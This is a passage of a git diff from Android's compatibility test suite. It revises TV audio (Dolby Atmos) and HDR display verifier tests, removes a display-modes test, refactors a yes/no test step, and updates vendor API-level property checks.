+            List<TestStepBase> testSteps = new ArrayList<>();
+            testSteps.add(new TvTestStep(this));
+            mTestSequence = new TestSequence(this, testSteps);
+            mTestSequence.init();
+            return;
+        }
+    }
+
+    @Override
     protected void createTestItems() {
-        List<TestStepBase> testSteps = new ArrayList<>();
-        testSteps.add(new TvTestStep(this));
-        testSteps.add(new ReceiverTestStep(this));
-        testSteps.add(new TvTestStep(this));
-        mTestSequence = new TestSequence(this, testSteps);
-        mTestSequence.init();
+        mSupportDolbyAtmosYesItem =
+                createUserItem(
+                        R.string.tv_audio_capabilities_atmos_supported, R.string.tv_yes, this);
+        setButtonEnabled(mSupportDolbyAtmosYesItem, true);
+        mSupportDolbyAtmosNoItem = createButtonItem(R.string.tv_no, this);
+        setButtonEnabled(mSupportDolbyAtmosNoItem, true);
     }
 
     private class TvTestStep extends TestStep {
+
         public TvTestStep(TvAppVerifierActivity context) {
             super(
                     context,
@@ -96,24 +123,37 @@
                             .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
                             .build();
 
-            ImmutableList.Builder<String> actualAudioFormatStrings = ImmutableList.builder();
-            for (AudioFormat audioFormat : TESTED_AUDIO_FORMATS) {
+            getAsserter()
+                    .withMessage("AudioTrack.isDirectPlaybackSupported is expected to return true"
+                            + " for PCM16 2 channel")
+                    .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_PCM_16BIT, 44100, 2), audioAttributes))
+                    .isTrue();
+
+            getAsserter()
+                    .withMessage("AudioTrack.isDirectPlaybackSupported is expected to return false "
+                            + "for EAC3 6 channel")
+                    .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_E_AC3, 44100, 6), audioAttributes))
+                    .isFalse();
+
+            ImmutableList.Builder<String> actualAtmosFormatStrings = ImmutableList.builder();
+            for (AudioFormat audioFormat : ATMOS_FORMATS) {
                 if (AudioTrack.isDirectPlaybackSupported(audioFormat, audioAttributes)) {
-                    actualAudioFormatStrings.add(toStr(audioFormat));
+                    actualAtmosFormatStrings.add(toStr(audioFormat));
                 }
             }
 
+            // check that Atmos should not be supported
             getAsserter()
-                    .withMessage("AudioTrack.isDirectPlaybackSupported only returns true for these")
-                    .that(actualAudioFormatStrings.build())
-                    .containsExactlyElementsIn(
-                            ImmutableList.of(
-                                    toStr(makeAudioFormat(ENCODING_PCM_16BIT, 44100, 6)),
-                                    toStr(makeAudioFormat(ENCODING_AC3, 44100, 6))));
+                    .withMessage(
+                            "AudioTrack.isDirectPlaybackSupported is expected to return false for"
+                                + " EAC3_JOC")
+                    .that(actualAtmosFormatStrings.build())
+                    .isEmpty();
         }
     }
 
     private class ReceiverTestStep extends TestStep {
+
         public ReceiverTestStep(TvAppVerifierActivity context) {
             super(
                     context,
@@ -129,33 +169,52 @@
                             .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
                             .build();
 
-            ImmutableList.Builder<String> actualAudioFormatStrings = ImmutableList.builder();
-            for (AudioFormat audioFormat : TESTED_AUDIO_FORMATS) {
+            getAsserter()
+                    .withMessage("AudioTrack.isDirectPlaybackSupported is expected to return true"
+                            + " for PCM16 6 channel")
+                    .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_PCM_16BIT, 44100, 6), audioAttributes))
+                    .isTrue();
+
+            getAsserter()
+                    .withMessage("AudioTrack.isDirectPlaybackSupported is expected to return true "
+                            + "for EAC3 6 channel")
+                    .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_E_AC3, 44100, 6), audioAttributes))
+                    .isTrue();
+
+            ImmutableList.Builder<String> actualAtmosFormatStrings = ImmutableList.builder();
+            for (AudioFormat audioFormat : ATMOS_FORMATS) {
                 if (AudioTrack.isDirectPlaybackSupported(audioFormat, audioAttributes)) {
-                    actualAudioFormatStrings.add(toStr(audioFormat));
-                    break;
+                    actualAtmosFormatStrings.add(toStr(audioFormat));
                 }
             }
 
+            // check that Atmos should be supported
             getAsserter()
-                    .withMessage("AudioTrack.isDirectPlaybackSupported only returns true for these")
-                    .that(actualAudioFormatStrings.build())
-                    .containsExactlyElementsIn(
-                            ImmutableList.of(
-                                    toStr(makeAudioFormat(ENCODING_PCM_16BIT, 41000, 8)),
-                                    toStr(makeAudioFormat(ENCODING_AC3, 44100, 8)),
-                                    toStr(makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 8)),
-                                    toStr(makeAudioFormat(ENCODING_E_AC3, 44100, 8))));
+                    .withMessage(
+                            "AudioTrack.isDirectPlaybackSupported is expected to return true for"
+                                + " EAC3_JOC")
+                    .that(actualAtmosFormatStrings.build())
+                    .isNotEmpty();
         }
     }
 
     /** Returns channel mask for {@code channelCount}. */
     private static int channelCountToMask(int channelCount) {
         switch (channelCount) {
+            case 1:
+                return CHANNEL_OUT_MONO;
             case 2:
                 return CHANNEL_OUT_STEREO;
+            case 3:
+                return CHANNEL_OUT_STEREO | CHANNEL_OUT_FRONT_CENTER;
+            case 4:
+                return CHANNEL_OUT_QUAD;
+            case 5:
+                return CHANNEL_OUT_QUAD | CHANNEL_OUT_FRONT_CENTER;
             case 6:
                 return CHANNEL_OUT_5POINT1;
+            case 7:
+                return CHANNEL_OUT_5POINT1 | CHANNEL_OUT_BACK_CENTER;
             case 8:
                 return CHANNEL_OUT_7POINT1_SURROUND;
             default:
@@ -166,8 +225,6 @@
     /** Returns a displayable String message for {@code encodingCode}. */
     private static String encodingToString(int encodingCode) {
         switch (encodingCode) {
-            case ENCODING_AC3:
-                return "AC3";
             case ENCODING_E_AC3:
                 return "E_AC3";
             case ENCODING_E_AC3_JOC:
@@ -193,4 +250,8 @@
                 .setChannelMask(channelCountToMask(channelCount))
                 .build();
     }
+
+    private static boolean containsButton(View item, View button) {
+        return item == null ? false : item.findViewById(R.id.user_action_button) == button;
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
index e0c02d8..72a34ba 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
@@ -69,157 +69,15 @@
     @Override
     protected void createTestItems() {
         List<TestStepBase> testSteps = new ArrayList<>();
-        if (TvUtil.isHdmiSourceDevice()) {
-            // The device is a set-top box or a TV dongle
-            testSteps.add(new NonHdrDisplayTestStep(this));
-            testSteps.add(new HdrDisplayTestStep(this));
-            testSteps.add(new NoDisplayTestStep(this));
-        } else {
-            // The device is a TV Panel
-            testSteps.add(new TvPanelReportedTypesAreSupportedTestStep(this));
-            testSteps.add(new TvPanelSupportedTypesAreReportedTestStep(this));
-        }
+        testSteps.add(new TvPanelReportedTypesAreSupportedTestStep(this));
+        testSteps.add(new TvPanelSupportedTypesAreReportedTestStep(this));
         mTestSequence = new TestSequence(this, testSteps);
         mTestSequence.init();
     }
 
-    private static class NonHdrDisplayTestStep extends SyncTestStep {
-
-        public NonHdrDisplayTestStep(TvAppVerifierActivity context) {
-            super(
-                    context,
-                    R.string.tv_hdr_capabilities_test_step_non_hdr_display,
-                    getInstructionText(context),
-                    getButtonStringId());
-        }
-
-        private static String getInstructionText(Context context) {
-            return context.getString(
-                    R.string.tv_hdr_connect_no_hdr_display, context.getString(getButtonStringId()));
-        }
-
-        private static @StringRes int getButtonStringId() {
-            return R.string.tv_start_test;
-        }
-
-        @Override
-        public void runTest() {
-            DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
-            Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
-            getAsserter().withMessage("Display.isHdr()").that(display.isHdr()).isFalse();
-            getAsserter()
-                    .withMessage("Display.getHdrCapabilities()")
-                    .that(display.getHdrCapabilities().getSupportedHdrTypes())
-                    .isEmpty();
-        }
-    }
-
-    private static class HdrDisplayTestStep extends SyncTestStep {
-
-        public HdrDisplayTestStep(TvAppVerifierActivity context) {
-            super(
-                    context,
-                    R.string.tv_hdr_capabilities_test_step_hdr_display,
-                    getInstructionText(context),
-                    getButtonStringId());
-        }
-
-        private static String getInstructionText(Context context) {
-            return context.getString(
-                    R.string.tv_hdr_connect_hdr_display, context.getString(getButtonStringId()));
-        }
-
-        private static @StringRes int getButtonStringId() {
-            return R.string.tv_start_test;
-        }
-
-        @Override
-        public void runTest() {
-            DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
-            Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
-
-            getAsserter().withMessage("Display.isHdr()").that(display.isHdr()).isTrue();
-
-            Display.HdrCapabilities hdrCapabilities = display.getHdrCapabilities();
-
-            int[] supportedHdrTypes = hdrCapabilities.getSupportedHdrTypes();
-            Arrays.sort(supportedHdrTypes);
-
-            getAsserter()
-                    .withMessage("Display.getHdrCapabilities().getSupportedTypes()")
-                    .that(supportedHdrTypes)
-                    .isEqualTo(
-                            new int[] {
-                                Display.HdrCapabilities.HDR_TYPE_DOLBY_VISION,
-                                Display.HdrCapabilities.HDR_TYPE_HDR10,
-                                Display.HdrCapabilities.HDR_TYPE_HDR10_PLUS,
-                                Display.HdrCapabilities.HDR_TYPE_HLG
-                            });
-
-            float maxLuminance = hdrCapabilities.getDesiredMaxLuminance();
-            getAsserter()
-                    .withMessage("Display.getHdrCapabilities().getDesiredMaxLuminance()")
-                    .that(maxLuminance)
-                    .isIn(Range.openClosed(0f, MAX_EXPECTED_LUMINANCE));
-
-            float minLuminance = hdrCapabilities.getDesiredMinLuminance();
-            getAsserter()
-                    .withMessage("Display.getHdrCapabilities().getDesiredMinLuminance()")
-                    .that(minLuminance)
-                    .isIn(Range.closedOpen(0f, MAX_EXPECTED_LUMINANCE));
-
-            getAsserter()
-                    .withMessage("Display.getHdrCapabilities().getDesiredMaxAverageLuminance()")
-                    .that(hdrCapabilities.getDesiredMaxAverageLuminance())
-                    .isIn(Range.openClosed(minLuminance, maxLuminance));
-        }
-    }
-
-    private static class NoDisplayTestStep extends AsyncTestStep {
-        public NoDisplayTestStep(TvAppVerifierActivity context) {
-            super(
-                    context,
-                    R.string.tv_hdr_capabilities_test_step_no_display,
-                    getInstructionText(context),
-                    getButtonStringId());
-        }
-
-        private static String getInstructionText(Context context) {
-            return context.getString(
-                    R.string.tv_hdr_disconnect_display,
-                    context.getString(getButtonStringId()),
-                    DISPLAY_DISCONNECT_WAIT_TIME_SECONDS,
-                    DISPLAY_DISCONNECT_WAIT_TIME_SECONDS + 1);
-        }
-
-        private static @StringRes int getButtonStringId() {
-            return R.string.tv_start_test;
-        }
-
-        @Override
-        public void runTestAsync() {
-            // Wait for the user to disconnect the display.
-            final long delay = Duration.ofSeconds(DISPLAY_DISCONNECT_WAIT_TIME_SECONDS).toMillis();
-            mContext.getPostTarget().postDelayed(this::runTest, delay);
-        }
-
-        private void runTest() {
-            try {
-                // Verify the display APIs do not crash when the display is disconnected
-                DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
-                Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
-                display.isHdr();
-                display.getHdrCapabilities();
-            } catch (Exception e) {
-                getAsserter().withMessage(Throwables.getStackTraceAsString(e)).fail();
-            }
-            done();
-        }
-    }
-
     private static class TvPanelReportedTypesAreSupportedTestStep extends YesNoTestStep {
         public TvPanelReportedTypesAreSupportedTestStep(TvAppVerifierActivity context) {
-            super(context, getInstructionText(context));
+            super(context, getInstructionText(context), R.string.tv_yes, R.string.tv_no);
         }
 
         private static String getInstructionText(Context context) {
@@ -244,7 +102,7 @@
 
     private static class TvPanelSupportedTypesAreReportedTestStep extends YesNoTestStep {
         public TvPanelSupportedTypesAreReportedTestStep(TvAppVerifierActivity context) {
-            super(context, getInstructionText(context));
+            super(context, getInstructionText(context), R.string.tv_no, R.string.tv_yes);
         }
 
         private static String getInstructionText(Context context) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
deleted file mode 100644
index 2b06bde..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
+++ /dev/null
@@ -1,331 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.tv.display;
-
-import android.content.Context;
-import android.hardware.display.DisplayManager;
-import android.os.Bundle;
-import android.view.Display;
-
-import androidx.annotation.StringRes;
-
-import com.android.cts.verifier.R;
-import com.android.cts.verifier.tv.TestSequence;
-import com.android.cts.verifier.tv.TestStepBase;
-import com.android.cts.verifier.tv.TvAppVerifierActivity;
-import com.android.cts.verifier.tv.TvUtil;
-
-import com.google.common.base.Throwables;
-import com.google.common.truth.Correspondence;
-import com.google.common.truth.FailureMetadata;
-import com.google.common.truth.Subject;
-
-import java.time.Duration;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.stream.Collectors;
-
-import javax.annotation.Nullable;
-
-/**
- * Test for verifying that the platform correctly reports display resolution and refresh rate. More
- * specifically Display.getMode() and Display.getSupportedModes() APIs are tested. In the case for
- * set-top boxes and TV dongles they are tested against reference displays. For TV panels they are
- * tested against the hardware capabilities of the device.
- */
-public class DisplayModesTestActivity extends TvAppVerifierActivity {
-    private static final int DISPLAY_DISCONNECT_WAIT_TIME_SECONDS = 5;
-    private static final float REFRESH_RATE_PRECISION = 0.01f;
-
-    private static final Subject.Factory<ModeSubject, Display.Mode> MODE_SUBJECT_FACTORY =
-            (failureMetadata, mode) -> new ModeSubject(failureMetadata, mode);
-
-    private static final Correspondence<Display.Mode, Mode> MODE_CORRESPONDENCE =
-            Correspondence.from((Display.Mode displayMode, Mode mode) -> {
-                return mode.isEquivalent(displayMode, REFRESH_RATE_PRECISION);
-            }, "is equivalent to");
-
-    private TestSequence mTestSequence;
-
-    @Override
-    protected void setInfoResources() {
-        setInfoResources(R.string.tv_display_modes_test, R.string.tv_display_modes_test_info, -1);
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-    }
-
-    @Override
-    protected void createTestItems() {
-        List<TestStepBase> testSteps = new ArrayList<>();
-        if (TvUtil.isHdmiSourceDevice()) {
-            // The device is a set-top box or a TV dongle
-            testSteps.add(new NoDisplayTestStep(this));
-            testSteps.add(new Display2160pTestStep(this));
-            testSteps.add(new Display1080pTestStep(this));
-        } else {
-            // The device is a TV Panel
-            testSteps.add(new TvPanelReportedModesAreSupportedTestStep(this));
-            testSteps.add(new TvPanelSupportedModesAreReportedTestStep(this));
-        }
-        mTestSequence = new TestSequence(this, testSteps);
-        mTestSequence.init();
-    }
-
-    @Override
-    public String getTestDetails() {
-        return mTestSequence.getFailureDetails();
-    }
-
-    private static class NoDisplayTestStep extends AsyncTestStep {
-        public NoDisplayTestStep(TvAppVerifierActivity context) {
-            super(
-                    context,
-                    R.string.tv_display_modes_test_step_no_display,
-                    getInstructionText(context),
-                    getButtonStringId());
-        }
-
-        private static String getInstructionText(Context context) {
-            return context.getString(
-                    R.string.tv_display_modes_disconnect_display,
-                    context.getString(getButtonStringId()),
-                    DISPLAY_DISCONNECT_WAIT_TIME_SECONDS,
-                    DISPLAY_DISCONNECT_WAIT_TIME_SECONDS + 1);
-        }
-
-        private static @StringRes int getButtonStringId() {
-            return R.string.tv_start_test;
-        }
-
-        @Override
-        public void runTestAsync() {
-            final long delay = Duration.ofSeconds(DISPLAY_DISCONNECT_WAIT_TIME_SECONDS).toMillis();
-            mContext.getPostTarget().postDelayed(this::runTest, delay);
-        }
-
-        private void runTest() {
-            try {
-                // Verify the display APIs do not crash when the display is disconnected
-                DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
-                Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
-                display.getMode();
-                display.getSupportedModes();
-            } catch (Exception e) {
-                getAsserter().withMessage(Throwables.getStackTraceAsString(e)).fail();
-            }
-            done();
-        }
-    }
-
-    private static class Display2160pTestStep extends SyncTestStep {
-        public Display2160pTestStep(TvAppVerifierActivity context) {
-            super(
-                    context,
-                    R.string.tv_display_modes_test_step_2160p,
-                    getInstructionText(context),
-                    getButtonStringId());
-        }
-
-        private static String getInstructionText(Context context) {
-            return context.getString(
-                    R.string.tv_display_modes_connect_2160p_display,
-                    context.getString(getButtonStringId()));
-        }
-
-        private static @StringRes int getButtonStringId() {
-            return R.string.tv_start_test;
-        }
-
-        @Override
-        public void runTest() {
-            DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
-            Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
-            getAsserter()
-                    .withMessage("Display.getMode()")
-                    .about(MODE_SUBJECT_FACTORY)
-                    .that(display.getMode())
-                    .isEquivalentToAnyOf(
-                            REFRESH_RATE_PRECISION,
-                            new Mode(3840, 2160, 60f),
-                            new Mode(3840, 2160, 50f));
-
-            Mode[] expected2160pSupportedModes =
-                    new Mode[] {
-                        new Mode(720, 480, 60f),
-                        new Mode(720, 576, 50f),
-                        // 720p modes
-                        new Mode(1280, 720, 50f),
-                        new Mode(1280, 720, 60f),
-                        // 1080p modes
-                        new Mode(1920, 1080, 24f),
-                        new Mode(1920, 1080, 25f),
-                        new Mode(1920, 1080, 30f),
-                        new Mode(1920, 1080, 50f),
-                        new Mode(1920, 1080, 60f),
-                        // 2160p modes
-                        new Mode(3840, 2160, 24f),
-                        new Mode(3840, 2160, 25f),
-                        new Mode(3840, 2160, 30f),
-                        new Mode(3840, 2160, 50f),
-                        new Mode(3840, 2160, 60f)
-                    };
-            getAsserter()
-                    .withMessage("Display.getSupportedModes()")
-                    .that(Arrays.asList(display.getSupportedModes()))
-                    .comparingElementsUsing(MODE_CORRESPONDENCE)
-                    .containsAtLeastElementsIn(expected2160pSupportedModes);
-        }
-    }
-
-    private static class Display1080pTestStep extends SyncTestStep {
-        public Display1080pTestStep(TvAppVerifierActivity context) {
-            super(
-                    context,
-                    R.string.tv_display_modes_test_step_1080p,
-                    getInstructionText(context),
-                    getButtonStringId());
-        }
-
-        private static String getInstructionText(Context context) {
-            return context.getString(
-                    R.string.tv_display_modes_connect_1080p_display,
-                    context.getString(getButtonStringId()));
-        }
-
-        private static @StringRes int getButtonStringId() {
-            return R.string.tv_start_test;
-        }
-
-        @Override
-        public void runTest() {
-            DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
-            Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
-
-            getAsserter()
-                    .withMessage("Display.getMode()")
-                    .about(MODE_SUBJECT_FACTORY)
-                    .that(display.getMode())
-                    .isEquivalentToAnyOf(
-                            REFRESH_RATE_PRECISION,
-                            new Mode(1920, 1080, 60f),
-                            new Mode(1920, 1080, 50f));
-
-            final Mode[] expected1080pSupportedModes =
-                    new Mode[] {
-                        new Mode(720, 480, 60f),
-                        new Mode(720, 576, 50f),
-                        // 720p modes
-                        new Mode(1280, 720, 50f),
-                        new Mode(1280, 720, 60f),
-                        // 1080p modes
-                        new Mode(1920, 1080, 24f),
-                        new Mode(1920, 1080, 25f),
-                        new Mode(1920, 1080, 30f),
-                        new Mode(1920, 1080, 50f),
-                        new Mode(1920, 1080, 60f),
-                    };
-            getAsserter()
-                    .withMessage("Display.getSupportedModes()")
-                    .that(Arrays.asList(display.getSupportedModes()))
-                    .comparingElementsUsing(MODE_CORRESPONDENCE)
-                    .containsAtLeastElementsIn(expected1080pSupportedModes);
-        }
-    }
-
-    private static class TvPanelReportedModesAreSupportedTestStep extends YesNoTestStep {
-        public TvPanelReportedModesAreSupportedTestStep(TvAppVerifierActivity context) {
-            super(context, getInstructionText(context));
-        }
-
-        private static String getInstructionText(Context context) {
-            DisplayManager displayManager = context.getSystemService(DisplayManager.class);
-            Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
-            String supportedModes =
-                    Arrays.stream(display.getSupportedModes())
-                            .map(DisplayModesTestActivity::formatDisplayMode)
-                            .collect(Collectors.joining("\n"));
-
-            return context.getString(
-                    R.string.tv_panel_display_modes_reported_are_supported, supportedModes);
-        }
-    }
-
-    private static class TvPanelSupportedModesAreReportedTestStep extends YesNoTestStep {
-        public TvPanelSupportedModesAreReportedTestStep(TvAppVerifierActivity context) {
-            super(context, getInstructionText(context));
-        }
-
-        private static String getInstructionText(Context context) {
-            return context.getString(R.string.tv_panel_display_modes_supported_are_reported);
-        }
-    }
-
-    // We use a custom Mode class since the constructors of Display.Mode are hidden. Additionally,
-    // we want to use fuzzy comparison for frame rates which is not used in Display.Mode.equals().
-    private static class Mode {
-        public int mWidth;
-        public int mHeight;
-        public float mRefreshRate;
-
-        public Mode(int width, int height, float refreshRate) {
-            this.mWidth = width;
-            this.mHeight = height;
-            this.mRefreshRate = refreshRate;
-        }
-
-        public boolean isEquivalent(Display.Mode displayMode, float refreshRatePrecision) {
-            return mHeight == displayMode.getPhysicalHeight()
-                    && mWidth == displayMode.getPhysicalWidth()
-                    && Math.abs(mRefreshRate - displayMode.getRefreshRate()) < refreshRatePrecision;
-        }
-
-        @Override
-        public String toString() {
-            return formatDisplayMode(mWidth, mHeight, mRefreshRate);
-        }
-    }
-
-    private static class ModeSubject extends Subject {
-        private final Display.Mode mActual;
-
-        public ModeSubject(FailureMetadata failureMetadata, @Nullable Display.Mode subject) {
-            super(failureMetadata, subject);
-            mActual = subject;
-        }
-
-        public void isEquivalentToAnyOf(final float refreshRatePrecision, Mode... modes) {
-            boolean found = Arrays.stream(modes)
-                    .anyMatch(mode -> mode.isEquivalent(mActual, refreshRatePrecision));
-            if (!found) {
-                failWithActual("expected any of", Arrays.toString(modes));
-            }
-        }
-    }
-
-    private static String formatDisplayMode(Display.Mode mode) {
-        return formatDisplayMode(
-                mode.getPhysicalWidth(), mode.getPhysicalHeight(), mode.getRefreshRate());
-    }
-
-    private static String formatDisplayMode(int width, int height, float refreshRate) {
-        return String.format("%dx%d %.2f Hz", width, height, refreshRate);
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java
index 4da4d18..4f300d4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java
@@ -27,9 +27,10 @@
  * two buttons - Yes and No, which respectively set the test in passing and failing state.
  */
 public abstract class YesNoTestStep extends TestStepBase {
-    private View yesButton;
-    private View noButton;
-
+    private View positiveButton;
+    private View negativeButton;
+    private final int positiveButtonText;
+    private final int negativeButtonText;
     /**
      * Constructs a test step containing human instructions for a manual test and two buttons - Yes
      * and No.
@@ -37,24 +38,27 @@
      * @param context The test activity which this test step is part of.
      * @param instructionText The text of the test instruction visible to the user.
      */
-    public YesNoTestStep(TvAppVerifierActivity context, String instructionText) {
+    public YesNoTestStep(TvAppVerifierActivity context, String instructionText, 
+            int positiveButtonText, int negativeButtonText) {
         super(context, instructionText);
+        this.positiveButtonText = positiveButtonText;
+        this.negativeButtonText = negativeButtonText;
     }
 
     @Override
     public void createUiElements() {
         super.createUiElements();
-        yesButton =
+        positiveButton =
                 mContext.createButtonItem(
-                        R.string.tv_yes,
+                        positiveButtonText,
                         (View view) -> {
                             disableInteractivity();
                             // do nothing so the test will pass
                             done();
                         });
-        noButton =
+        negativeButton =
                 mContext.createButtonItem(
-                        R.string.tv_no,
+                        negativeButtonText,
                         (View view) -> {
                             disableInteractivity();
                             getAsserter().fail();
@@ -64,13 +68,13 @@
 
     @Override
     public void enableInteractivity() {
-        TvAppVerifierActivity.setButtonEnabled(yesButton, true);
-        TvAppVerifierActivity.setButtonEnabled(noButton, true);
+        TvAppVerifierActivity.setButtonEnabled(positiveButton, true);
+        TvAppVerifierActivity.setButtonEnabled(negativeButton, true);
     }
 
     @Override
     public void disableInteractivity() {
-        TvAppVerifierActivity.setButtonEnabled(yesButton, false);
-        TvAppVerifierActivity.setButtonEnabled(noButton, false);
+        TvAppVerifierActivity.setButtonEnabled(positiveButton, false);
+        TvAppVerifierActivity.setButtonEnabled(negativeButton, false);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
index c150132..9220001 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
@@ -71,6 +71,7 @@
         setInfoResources(
                 R.string.usb_accessory_test, R.string.usb_accessory_test_info, -1);
 
+        setPassFailButtonClickListeners();
         mStatus = (TextView) findViewById(R.id.status);
         mProgress = (ProgressBar) findViewById(R.id.progress_bar);
         mStatus.setText(R.string.usb_accessory_test_step1);
diff --git a/apps/ForceStopHelperApp/Android.bp b/apps/ForceStopHelperApp/Android.bp
index f438b87..85a2f6d 100644
--- a/apps/ForceStopHelperApp/Android.bp
+++ b/apps/ForceStopHelperApp/Android.bp
@@ -25,3 +25,8 @@
         "general-tests",
     ],
 }
+
+java_library {
+    name: "CtsForceStopHelper-constants",
+    srcs: ["src/com/android/cts/forcestophelper/Constants.java"],
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
index fb25dd7..c5933a7 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -16,7 +16,10 @@
 
 package com.android.compatibility.common.util;
 
+import static org.junit.Assert.assertNotEquals;
+
 import android.os.Build;
+import android.os.SystemProperties;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -41,6 +44,7 @@
     private static final String BUILD_TYPE_PROPERTY = "ro.build.type";
     private static final String MANUFACTURER_PROPERTY = "ro.product.manufacturer";
     private static final String TAG_DEV_KEYS = "dev-keys";
+    private static final String VENDOR_SDK_VERSION = "ro.vendor.build.version.sdk";
     private static final String VNDK_VERSION = "ro.vndk.version";
 
     public static final String GOOGLE_SETTINGS_QUERY =
@@ -75,30 +79,57 @@
     }
 
     /**
-     * Return whether the SDK version of the vendor partiton is newer than the given API level.
+     * Return whether the VNDK version of the vendor partiton is newer than the given API level.
      * If the property is set to non-integer value, this means the vendor partition is using
      * current API level and true is returned.
      */
-    public static boolean isVendorApiLevelNewerThan(int apiLevel) {
-        int vendorApiLevel = getPropertyInt(VNDK_VERSION);
-        if (vendorApiLevel == INT_VALUE_IF_UNSET) {
+    public static boolean isVndkApiLevelNewerThan(int apiLevel) {
+        int vndkApiLevel = getPropertyInt(VNDK_VERSION);
+        if (vndkApiLevel == INT_VALUE_IF_UNSET) {
             return true;
         }
-        return vendorApiLevel > apiLevel;
+        return vndkApiLevel > apiLevel;
+    }
+
+    /**
+     * Return whether the VNDK version of the vendor partiton is same or newer than the
+     * given API level.
+     * If the property is set to non-integer value, this means the vendor partition is using
+     * current API level and true is returned.
+     */
+    public static boolean isVndkApiLevelAtLeast(int apiLevel) {
+        int vndkApiLevel = getPropertyInt(VNDK_VERSION);
+        if (vndkApiLevel == INT_VALUE_IF_UNSET) {
+            return true;
+        }
+        return vndkApiLevel >= apiLevel;
+    }
+
+    /**
+     * Return whether the SDK version of the vendor partiton is newer than the given API level.
+     */
+    public static boolean isVendorApiLevelNewerThan(int apiLevel) {
+        int vendorSdkVersion = SystemProperties.getInt(VENDOR_SDK_VERSION, 0);
+        // Run previous action when failed to get ro.vendor.build.version.sdk
+        // b/166800127 for details
+        if (vendorSdkVersion == 0) {
+            return isVndkApiLevelNewerThan(apiLevel);
+        }
+        return vendorSdkVersion > apiLevel;
     }
 
     /**
      * Return whether the SDK version of the vendor partiton is same or newer than the
      * given API level.
-     * If the property is set to non-integer value, this means the vendor partition is using
-     * current API level and true is returned.
      */
     public static boolean isVendorApiLevelAtLeast(int apiLevel) {
-        int vendorApiLevel = getPropertyInt(VNDK_VERSION);
-        if (vendorApiLevel == INT_VALUE_IF_UNSET) {
-            return true;
+        int vendorSdkVersion = SystemProperties.getInt(VENDOR_SDK_VERSION, 0);
+        // Run previous action when failed to get ro.vendor.build.version.sdk
+        // b/166800127 for details
+        if (vendorSdkVersion == 0) {
+            return isVndkApiLevelAtLeast(apiLevel);
         }
-        return vendorApiLevel >= apiLevel;
+        return vendorSdkVersion >= apiLevel;
     }
 
     /**
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
index 9bb55fa..45bb43e 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
@@ -110,6 +110,12 @@
         return (angleSupported != null) && (angleSupported.equals("true"));
     }
 
+    static boolean isNativeDriverAngle(ITestDevice device) throws Exception {
+        String driverProp = device.getProperty("ro.hardware.egl");
+
+        return (driverProp != null) && (driverProp.equals("angle"));
+    }
+
     static void startActivity(ITestDevice device, String action) throws Exception {
